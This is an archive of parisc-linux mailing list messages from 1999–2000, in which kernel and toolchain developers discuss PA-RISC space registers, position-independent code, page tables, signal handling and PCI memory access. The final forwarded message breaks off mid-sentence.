> %sr7 are all set to the same space identifier.

Hmm, I haven't been making this assumption in the elf32-hppa binutils
shared lib support.  If userland uses the same space id, then import
stubs can be simplified quite a bit, and there's no need for export stubs.

> This is in keeping with accepted practice on other 32-bit Linux
> platforms where segmentation is used only to provide separate 4G
> address spaces for the kernel and userland.

On parisc, doesn't a single space id limit your address space to 1G?

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC code generation in gcc/binutils
Date: Tue, 25 Jul 2000 10:36:23 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20000725103623.F25594@vodka.thepuffingroup.com>
References: <87zon7qcqr.fsf@linuxcare.com> <Pine.LNX.4.21.0007251104320.6775-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619021 1885 80.91.229.3 (22 Nov 2014 01:17:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:01 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, Cary Coutant <cary@cup.hp.com>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: willy@thepuffingroup.com  Tue Jul 25 09:39:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA18645
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jul 2000 09:39:54 -0600
Original-Received: (qmail 4868 invoked by uid 15267); 25 Jul 2000 15:41:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4853 invoked from network); 25 Jul 2000 15:41:46 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 25 Jul 2000 15:41:46 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id KAA28984;
	Tue, 25 Jul 2000 10:36:23 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.21.0007251104320.6775-100000@front.linuxcare.com.au>; from Alan Modra on Tue, Jul 25, 2000 at 11:12:28AM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7614

On Tue, Jul 25, 2000 at 11:12:28AM +1000, Alan Modra wrote:
> On parisc, doesn't a single space id limit your address space to 1G?

that was what I thought too, but it turns out that the quarter of the
space which is addressed is the same as the top 2 bits of the data
register.  ie, if we were using 4 distinct spaces, we would see the
following usage pattern:

xx......
..xx....
....xx..
......xx

so using just one space register for the entire process doesn't affect us
at all.

http://devresource.hp.com/devresource/Docs/Refs/PA1_1/acd-17.html

is an authoritive source for this information:

"Only one fourth of the space is directly addressable by the base register
with short pointers and corresponds to the quadrant selected by the
upper two bits."

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC code generation in gcc/binutils
Date: Tue, 25 Jul 2000 11:16:14 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20000725111614.I25594@vodka.thepuffingroup.com>
References: <Pine.LNX.4.21.0007251104320.6775-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619021 1888 80.91.229.3 (22 Nov 2014 01:17:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:01 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, Cary Coutant <cary@cup.hp.com>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: willy@thepuffingroup.com  Tue Jul 25 10:19:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA19503
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jul 2000 10:19:47 -0600
Original-Received: (qmail 17580 invoked by uid 15267); 25 Jul 2000 16:21:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17554 invoked from network); 25 Jul 2000 16:21:38 -0000
Original-Received: from smtp.linuxcare.com (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 25 Jul 2000 16:21:38 -0000
Original-Received: (qmail 8337 invoked from network); 25 Jul 2000 16:21:32 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 25 Jul 2000 16:21:32 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id LAA29129;
	Tue, 25 Jul 2000 11:16:14 -0400
X-Mailer: Mutt 0.95.4us
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.21.0007251104320.6775-100000@front.linuxcare.com.au>; from Alan Modra on Tue, Jul 25, 2000 at 11:12:28AM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7615

On Tue, Jul 25, 2000 at 11:12:28AM +1000, Alan Modra wrote:
> On parisc, doesn't a single space id limit your address space to 1G?

that was what I thought too, but it turns out that the quarter of the
space which is addressed is the same as the top 2 bits of the data
register.  ie, if we were using 4 distinct spaces, we would see the
following usage pattern:

xx......
..xx....
....xx..
......xx

so using just one space register for the entire process doesn't affect us
at all.

http://devresource.hp.com/devresource/Docs/Refs/PA1_1/acd-17.html

is an authoritive source for this information:

"Only one fourth of the space is directly addressable by the base register
with short pointers and corresponds to the quadrant selected by the
upper two bits."

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Qn on PA-RISC Page tables and TLB
Date: Thu, 25 Mar 1999 09:18:51 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <199903251718.JAA18711@milano.cup.hp.com>
References: <Pine.LNX.3.96.990324225944.502B-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619021 1893 80.91.229.3 (22 Nov 2014 01:17:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:01 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Mar 25 12:20:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id MAA22775
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 12:20:11 -0500
Original-Received: (qmail 6839 invoked by uid 15267); 25 Mar 1999 17:19:01 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 6832 invoked from network); 25 Mar 1999 17:19:00 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 17:19:00 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.13.185.124])
	by palrel1.hp.com (8.8.6/8.8.5tis) with ESMTP id JAA17501
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 09:19:59 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA18711 for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 09:18:52 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 24 Mar 1999 23:10:36 PST."
             <Pine.LNX.3.96.990324225944.502B-100000@quark.ix.netcom.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7616

Kumar wrote:
...
> 	Other interesting point to note is that PA-RISC does not
> 	define how many entries in the table etc. Very much unlike
> 	x86.

The CPU pdir can vary in size. For a HW walker, it must be allocated
in physically configuous memory, this pretty much fixes the size
once it's setup.

The size of the CPU PDIR is determined mostly by memory size, amount
of I/O space required (Legacy PA requires memory mapped I/O), and
some fudge factor. Sizing it to allow a HW walker find all physical
mappings is good for performance. I assume this also helps SW TLB
handlers by reducing hash collisions. However, I'm not the expert
on CPU pdir.

K, C-class, and T600 also have an I/O pdir. This is only useful for
systems with more than 4GB (3.75GB?) of physical memory since PA
(and current PCI devices) can only use 32-bits of addressing.
The I/O pdir size depends on how much I/O one wants to allow mapped
at any given time and it too must be physically contigous.
16/th to 8th of physical memory seems to be a pretty good rule of thumb.

For now, I would say ignore the I/O pdir until hppa-linux has a
login prompt. If the OS doesn't use the I/O pdir, it just implies
the DMA is not coherent with Processor activity - just like on
an x86 box. I haven't studied Linux I/O subsytem enough to know
where/how to integrate support for an I/O pdir. I hope the HP-UX
docs released help explain this - search for keyword "CDIO".

grant


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC code generation in gcc/binutils
Date: Tue, 25 Jul 2000 10:21:45 -0700
Lines: 6
Approved: news@gmane.org
Message-ID: <200007251723.KAA02344@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619022 1908 80.91.229.3 (22 Nov 2014 01:17:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:02 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Cary Coutant" <cary@cup.hp.com>,
        "David Huggins-Daines" <dhd@linuxcare.com>
Original-X-From: cary@cup.hp.com  Tue Jul 25 11:24:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20323
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jul 2000 11:24:08 -0600
Original-Received: (qmail 22721 invoked by uid 15267); 25 Jul 2000 17:25:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22709 invoked from network); 25 Jul 2000 17:25:54 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 25 Jul 2000 17:25:54 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel1.hp.com (Postfix) with ESMTP
	id 0B7CF2CA1; Tue, 25 Jul 2000 10:23:51 -0700 (PDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with SMTP id KAA02344;
	Tue, 25 Jul 2000 10:23:49 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7617

>I realize that the 64-bit runtime 
>architecture is weak in the dynamic loading area, ...

By the way, I meant the documentation, not the runtime architecture 
itself!


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC code generation in gcc/binutils
Date: Tue, 25 Jul 2000 10:20:38 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <200007251722.KAA02283@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619022 1932 80.91.229.3 (22 Nov 2014 01:17:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:02 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "David Huggins-Daines" <dhd@linuxcare.com>
Original-X-From: cary@cup.hp.com  Tue Jul 25 11:28:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20613
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jul 2000 11:28:24 -0600
Original-Received: (qmail 27863 invoked by uid 15267); 25 Jul 2000 17:30:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27810 invoked from network); 25 Jul 2000 17:30:16 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 25 Jul 2000 17:30:16 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel1.hp.com (Postfix) with ESMTP
	id 747472E30; Tue, 25 Jul 2000 10:22:43 -0700 (PDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with SMTP id KAA02283;
	Tue, 25 Jul 2000 10:22:42 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7618

>I can see some advantages in this even with a non-segmented runtime
>architecture - theoretically, having the GP be managed by the caller
>rather than the callee should make intramodule calls in
>position-independent code more efficient.  (I think so at least)

Yes, it does have that advantage, and we take advantage of it when we can 
determine at compile time that the callee is in the same load module.

>One thing I have not figured out is how the GP is "bootstrapped" in
>the startup code for the dynamic linker itself - how does ELF64 on
>HP/UX deal with this problem?

The kernel loader passes a "load info" record to the dynamic loader as 
the fourth parameter (after argc, argv, and envp). This record contains, 
among other things, the load addresses of the dynamic loader's text and 
data segments. The dynamic loader's startup code materializes its own gp 
based on the base address of its data segment.

-cary


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] signal handling
Date: 26 Jul 2000 10:07:56 -0400
Organization: Linuxcare, Inc.
Lines: 20
Approved: news@gmane.org
Message-ID: <87puo1ougz.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619022 1936 80.91.229.3 (22 Nov 2014 01:17:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Wed Jul 26 08:06:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA16369
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Jul 2000 08:06:07 -0600
Original-Received: (qmail 31799 invoked by uid 15267); 26 Jul 2000 14:08:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31768 invoked from network); 26 Jul 2000 14:08:01 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 26 Jul 2000 14:08:01 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13HRqm-00010p-00
	for <parisc-linux@thepuffingroup.com>; Wed, 26 Jul 2000 10:07:56 -0400
Original-Lines: 19
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7619

Hi,

I was quite shocked to discover that we appear to have no signal
handling code in the Linux/parisc kernel whatsoever.

Is anyone planning to do this anytime soon?  It's unbelievably
annoying to debug userspace when you have to push TOC every single
time your program segfaults.

Never mind the fact that we can't really claim to have a working
kernel if it lacks basic things like signals.

I am formally threatening to do it wrong (since I don't know what I am
doing) if nobody steps forward to do it correctly within the next
hour.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: signal handling
Date: Wed, 26 Jul 2000 08:39:38 -0600 (MDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200007261439.IAA14255@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619023 1939 80.91.229.3 (22 Nov 2014 01:17:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Jul 26 08:37:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA17084
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Jul 2000 08:37:45 -0600
Original-Received: (qmail 30794 invoked by uid 15267); 26 Jul 2000 14:39:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30782 invoked from network); 26 Jul 2000 14:39:39 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 26 Jul 2000 14:39:39 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel2.hp.com (Postfix) with ESMTP id 1C52C141
	for <parisc-linux@thepuffingroup.com>; Wed, 26 Jul 2000 08:39:34 -0600 (MDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id IAA14255 for parisc-linux@thepuffingroup.com; Wed, 26 Jul 2000 08:39:38 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7620


> I was quite shocked to discover that we appear to have no signal
> handling code in the Linux/parisc kernel whatsoever.
>
> Is anyone planning to do this anytime soon?  It's unbelievably
> annoying to debug userspace when you have to push TOC every single
> time your program segfaults.
>
> Never mind the fact that we can't really claim to have a working
> kernel if it lacks basic things like signals.
>
> I am formally threatening to do it wrong (since I don't know what I am
> doing) if nobody steps forward to do it correctly within the next
> hour.

I had hoped to work on this this week, along with moving the syscall
gateway page out of user space (for native linux apps).  However, I have
not been able to get my C3000 to boot.  Every time I fix a problem, I find
another (right now it starts sash, but I don't get a shell prompt).
Perhaps if I can find an A180 today I can use that for a while.  At this
point I'm not hopeful that I will get it done before Friday, when I leave
for a week of vacation.  So, go ahead and do it "wrong" and I'll check
it over when I get back.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:12:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Weekly report?
Date: Wed, 26 Jul 2000 23:45:59 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20000726234557.B5840@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619023 1942 80.91.229.3 (22 Nov 2014 01:17:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:03 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@thepuffingroup.com>
Original-X-From: andrew@neep.com.au  Wed Jul 26 09:44:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA17852
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Jul 2000 09:44:50 -0600
Original-Received: (qmail 2712 invoked by uid 15267); 26 Jul 2000 15:46:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2640 invoked from network); 26 Jul 2000 15:46:38 -0000
Original-Received: from filk.iinet.net.au (203.59.24.235)
  by mailserv2.iuinc.com with SMTP; 26 Jul 2000 15:46:38 -0000
Original-Received: from guinness.neep.com.au (reggae-10-198.nv.iinet.net.au [203.59.94.198])
	by filk.iinet.net.au (8.8.7/8.8.7) with ESMTP id XAA17748
	for <parisc-linux@thepuffingroup.com>; Wed, 26 Jul 2000 23:46:18 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id XAA08471
	for parisc-linux@thepuffingroup.com; Wed, 26 Jul 2000 23:46:06 +0800
Mail-Followup-To: Linux/HPPA List <parisc-linux@thepuffingroup.com>
Content-Disposition: inline
User-Agent: Mutt/1.2.4i
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7621

There hasn't been a "weekly" report posted for ages.  Not since May 12th
if the website is to be believed (though I hazily remember a couple of
report-like posts to this list since then).

What's going on?

I like reports.  =)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jane Vinet <jvinet@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Weekly report?
Date: Thu, 27 Jul 2000 11:41:34 -0400
Organization: Linuxcare
Lines: 32
Approved: news@gmane.org
Message-ID: <3980582E.AAA7F054@linuxcare.com>
References: <20000726234557.B5840@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619023 1945 80.91.229.3 (22 Nov 2014 01:17:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:03 +0000 (UTC)
Cc: Linux/HPPA List <parisc-linux@thepuffingroup.com>
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: jvinet@linuxcare.com  Thu Jul 27 10:36:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA11722
	for <parisc-linux@puffin.external.hp.com>; Thu, 27 Jul 2000 10:36:26 -0600
Original-Received: (qmail 22289 invoked by uid 15267); 27 Jul 2000 16:38:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22270 invoked from network); 27 Jul 2000 16:38:21 -0000
Original-Received: from smtp.linuxcare.com (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 27 Jul 2000 16:38:21 -0000
Original-Received: (qmail 4048 invoked from network); 27 Jul 2000 16:38:12 -0000
Original-Received: from port156.magma.ca (HELO linuxcare.com) (jvinet@206.191.5.156)
  by smtp.linuxcare.com with SMTP; 27 Jul 2000 16:38:12 -0000
Original-Sender: jvinet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.14-15mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7622

Hi Andrew,  we are in the process of updating all pages on the external
web site, i.e.., recipes, outdated links, etc.  Weekly status updates
are coming we promise!

Andrew Shugg wrote:
> 
> There hasn't been a "weekly" report posted for ages.  Not since May 12th
> if the website is to be believed (though I hazily remember a couple of
> report-like posts to this list since then).
> 
> What's going on?
> 
> I like reports.  =)
> 
> Andrew.
> 
> --
> Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/
> 
>   "Just remember Basil, there's always someone worse off than yourself."
>   "Oh, really?  I'd like to meet him ... I could do with a good laugh."
>                  [ Sybil and Basil Fawlty, "Fawlty Towers" ]
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
Jane Vinet, Project Manager, Linuxcare, Inc.
613.562.9260 (tel), 613.562.9700 fax
jvinet@linuxcare.com, http://www.linuxcare.com/


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A simple question about readw, readw and the like
Date: Fri, 28 Jul 2000 08:39:11 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <200007281539.IAA26861@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619024 1947 80.91.229.3 (22 Nov 2014 01:17:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Jul 28 09:34:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA07907
	for <parisc-linux@puffin.external.hp.com>; Fri, 28 Jul 2000 09:34:56 -0600
Original-Received: (qmail 10989 invoked by uid 15267); 28 Jul 2000 15:36:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10973 invoked from network); 28 Jul 2000 15:36:53 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 28 Jul 2000 15:36:53 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 28B01815
	for <parisc-linux@thepuffingroup.com>; Fri, 28 Jul 2000 08:36:52 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA26861
	for <parisc-linux@thepuffingroup.com>; Fri, 28 Jul 2000 08:39:13 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:7623

Hi all,
Very nice summary of how linux drivers should use pci_dev->resources
and a peek at how user space will access PCI MEM space (ie Framebuffer).
(The latter is also a problem for HP-UX).

grant

----- Forwarded message from "David S. Miller" <davem@redhat.com> -----

Date: 	Thu, 27 Jul 2000 15:35:30 -0700
From: "David S. Miller" <davem@redhat.com>
To: abramo@alsa-project.org
CC: fw@fwconsult.com, linux-kernel@vger.rutgers.edu
In-reply-to: <39802159.1D04B244@alsa-project.org> (message from Abramo Bagnara
	on Thu, 27 Jul 2000 13:47:37 +0200)
Subject: Re: A simple question about readw, readw and the like
Precedence: bulk
X-Loop: 	majordomo@vger.rutgers.edu

   Date: Thu, 27 Jul 2000 13:47:37 +0200
   From: Abramo Bagnara <abramo@alsa-project.org>

   Does this means that there is no way to mmap the PCI IO space on
   any platform other than ia32?

One needs to be a bit more specific for me to give you an
answer :-)

Inside the kernel:

1) PCI I/O space is accessed by obtaining the base address via the
   appropriate pci_dev->resource[xxx] value, and feeding that directly
   into inb/inw/inl and friends.

2) PCI MEM space is accessed by obtaining the opaque MEM base cookie
   in pci_dev->resource[xxx], mapping it with ioremap(cookie), and
   feeding what you obtain from that to readw and friends.  When
   done with the MEM space area, you iounmap it.

For userspace things are much different.  It is nearly impossible to
be %100 portable for PCI I/O space.  On x86 you can just do inb
etc. instructions on the base address register value.  This fails to
work on just about every other system, you must actually mmap() the
PCI I/O space area needed on PPC, MIPS, Alpha, Sparc64, etc.

Honestly we lack a truly portable way to do this, and I am working on
a solution which will allow you to portably mmap I/O and MEM space PCI
areas via mmap() on /proc/bus/pci/xxx device nodes.  Just plain mmap
on /dev/mem is not a solution because that fails to work for 32-bit
userspace running on a 64-bit kernel, and besides this would require
